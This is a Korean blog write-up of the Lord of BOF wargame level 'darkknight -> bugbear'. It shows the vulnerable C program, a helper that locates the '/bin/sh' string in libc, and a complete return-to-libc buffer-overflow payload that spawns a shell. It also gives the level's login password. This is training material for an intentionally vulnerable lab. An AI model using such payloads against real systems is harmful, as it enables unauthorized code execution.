SH1R0_HACKER

13. darkknight -> bugbear 본문

System/The Lord of BOF

13. darkknight -> bugbear

SH1R0_HACKER 2021. 2. 3. 10:24

id : darkknight

password : new attacker


[bugbear.c]

/*
        The Lord of the BOF : The Fellowship of the BOF
        - bugbear
        - RTL1
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] == '\xbf')
        {
                printf("stack betrayed you!!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

40byte의 buffer 변수를 생성했고

argv[1][47]이 \xbf 면 stack betrayed you!! 를 출력하고 프로그램을 종료합니다.

 

이 문제에서는 RTL (Return to Libc) 기법을 이용하여 공격을하면 됩니다.

공유 라이브러리 함수의 주소를 가져와서 RET에 주소를 덮어쓰고 이를 호출하는 기법입니다.

 

bugbear의 복사본을 생성하고 main에 브레이크포인트를 걸어주고 실행합니다.

p system

명령어를 이용하여 시스템 주소를 알아냅니다.

 

시스템 주소 : 0x40058ae0

 

#include <stdio.h>

int main() {
        long system= 시스템 함수의 주소;
		
        //system함수의 주소에서 8바이트씩 /bin/sh를 비교해서 찾는다.
        while(memcmp((void*)system, "/bin/sh\x00", 8))
                system++; //못찾으면 다음 주소로

        printf("/bin/sh : %p\n",system); //"/bin/sh" 주소 출력
}

위 코드는 "/bin/sh" 문자열의 주소값을 출력해주는 코드입니다.

 

 

vi 편집기를 이용해서 위와같이 작성해주고 저장합니다.

컴파일 명령어는 아래와 같습니다.

 

gcc -o binsh binsh.c

 

/bin/sh 주소 : 0x400fbff9

 

이제 페이로드를 작성합니다.

40byte의 buffer와 4byte의 SFP를 A로 다 채워버리고 RET 주소에 시스템 주소를 넣어줍니다.

이후 Dummy 4byte를 넣어주고 /bin/sh 주소를 넣어줍니다.

(RTL Chaining 기법)

 

Buffer (40byte) + SFP (4byte) + System (4byte) + Dummy (4byte) + /bin/sh (4byte)

 

완성된 페이로드는 다음과 같습니다.

 

./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`

 

 

'System > The Lord of BOF' 카테고리의 다른 글

LOB 초기 셋팅  (0) 2021.06.27
14. bugbear -> giant (작성중)  (0) 2021.02.03
12. golem -> darkknight  (0) 2020.10.30
11. skeleton -> golem  (0) 2020.10.29
10. vampire -> skeleton  (0) 2020.10.28